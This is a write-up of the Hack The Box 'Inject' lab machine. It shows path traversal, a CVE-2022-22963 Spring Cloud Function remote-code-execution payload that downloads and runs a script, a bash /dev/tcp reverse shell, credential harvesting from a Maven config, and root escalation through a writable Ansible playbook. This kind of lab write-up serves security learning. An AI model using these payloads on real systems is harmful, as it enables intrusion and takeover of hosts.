Inject Writeup

09 July 2023 #CTF #HTB #box #easy #linux

inject info

(Yes I still can't crop properly)


You guessed it: nmap time:

$ sudo nmap -sCV -oN enum/initial.nmap
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Going to the website, we get a standard page:


There's a 'Sign Up' button but it's not ready yet:


There's also an upload page but it only accepts images:


We could spend a lot of time here and try a bunch of stuff (definitely not what I did), but let's just continue the enumeration.

Let's do some directory bruteforcing to discover more pages:

$ feroxbuster -u
200      GET      166l      487w        0c
200      GET      104l      194w        0c
500      GET        1l        3w        0c
200      GET       54l      107w        0c
200      GET      112l      326w        0c
500      GET        1l       27w        0c
400      GET        1l       13w        0c
200      GET       34l       77w        0c

/environment reveals that the web app is built with the Java Spring Boot framework:

$ curl -s | jq .
  "timestamp": "2023-03-13T12:08:39.523+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "message": "Discovered 3 methods that would qualify as 'functional' - [protected java.lang.String org.springframework.boot.ApplicationServletEnvironment.doGetActiveProfilesProperty(), protected java.lang.String org.springframework.boot.ApplicationServletEnvironment.doGetDefaultProfilesProperty(), protected org.springframework.core.env.ConfigurablePropertyResolver org.springframework.boot.ApplicationServletEnvironment.createPropertyResolver(org.springframework.core.env.MutablePropertySources)].\n Class 'class org.springframework.boot.ApplicationServletEnvironment' is not a FunctionalInterface.",
  "path": "/environment"

The /show_image page gave us a 400 error. Let's take a look:

$ curl -s | jq .
  "timestamp": "2023-03-13T12:10:22.026+00:00",
  "status": 400,
  "error": "Bad Request",
  "message": "Required request parameter 'img' for method parameter type String is not present",
  "path": "/show_image"

Note that we don't see this error message in the browser because it sends an Accept: text/html header, and the HTML version is just a blank page. curl, on the other hand, sends an Accept: */* which accepts everything so we get JSON output (same for /environment).

It wants an img parameter. Let's do it:

$ curl '' -s | jq .
  "timestamp": "2023-03-13T12:15:34.195+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "message": "URL [file:/var/www/WebApp/src/main/uploads/test] cannot be resolved in the file system for checking its content length",
  "path": "/show_image"

It's trying to get an image called 'test' in the uploads directory and failed. We can test if it's vulnerable to directory traversal:

$ curl --path-as-is ''

Nice, it works. We need to use the --path-as-is flag, otherwise curl will normalize the path.


After some time looking around the filesystem, we find /var/www/WebApp/pom.xml which contains the versions of the dependencies of the web application:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="" xmlns:xsi=""

This specific version of is vulnerable to CVE-2022-22963, an unauthenticated RCE. This repo has commands to exploit this vulnerability:

$ curl '' -H ' lang.Runtime).getRuntime().exec("curl -o /dev/shm/s")' -d 'data'
$ curl '' -H ' lang.Runtime).getRuntime().exec("bash /dev/shm/s")' -d 'data'

It seems we can't use stuff like pipes or redirections so we have to download the reverse shell script from our attack box and then execute it.

Our reverse shell script just contains bash -i >& /dev/tcp/ 0>&1.


Frank to Phil

We can find some creds for the Phil user in /home/frank/.m2/settings.xml:

<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="" xmlns:xsi=""

With these, we can su -l phil to login (ssh is disabled for that user).

Phil to root

After uploading and running pspy on the box, we see a cron job running as root:

2023/03/14 14:14:05 CMD: UID=0 PID=11536 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml

It is using ansible which an automation tool. Phil is a member of the 'staff' group which can write to the directory where the playbook is located:

phil@inject:~$ groups
phil staff
phil@inject:~$ find / -group staff -ls 2> /dev/null | grep -vE '/sys|/run|/proc'
  183353  4 drwxrwxr-x 2 root  staff   4096 Mar 14 14:06 /opt/automation/tasks
phil@inject:~$ ls -l /opt/automation/tasks
total 4
-rw-r--r-- 1 root root 150 Apr  9 15:16 playbook_1.yml

playbook_1.yml is owned by root but we have write access to the directory so we can just overwrite it.

We'll create a new playbook that sets /bin/bash as setuid (docs):

- hosts: localhost
  - name: gimmeroot shell plz chmod u+s /bin/bash

Move the playbook over /opt/automation/tasks/playbook_1.yml:

phil@inject:~$ mv -f root.yml /opt/automation/tasks/playbook_1.yml

Then we wait 1 or 2 minutes and get the setuid bash:

phil@inject:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
phil@inject:~$ bash -p
bash-5.0# id
uid=1001(phil) gid=1001(phil) euid=0(root) groups=1001(phil),50(staff)
bash-5.0# chmod u-s /bin/bash

If you use this setuid bash technique, don't forget to unset it right after you get the root shell to not spoil the box for others (:

Key Takeaways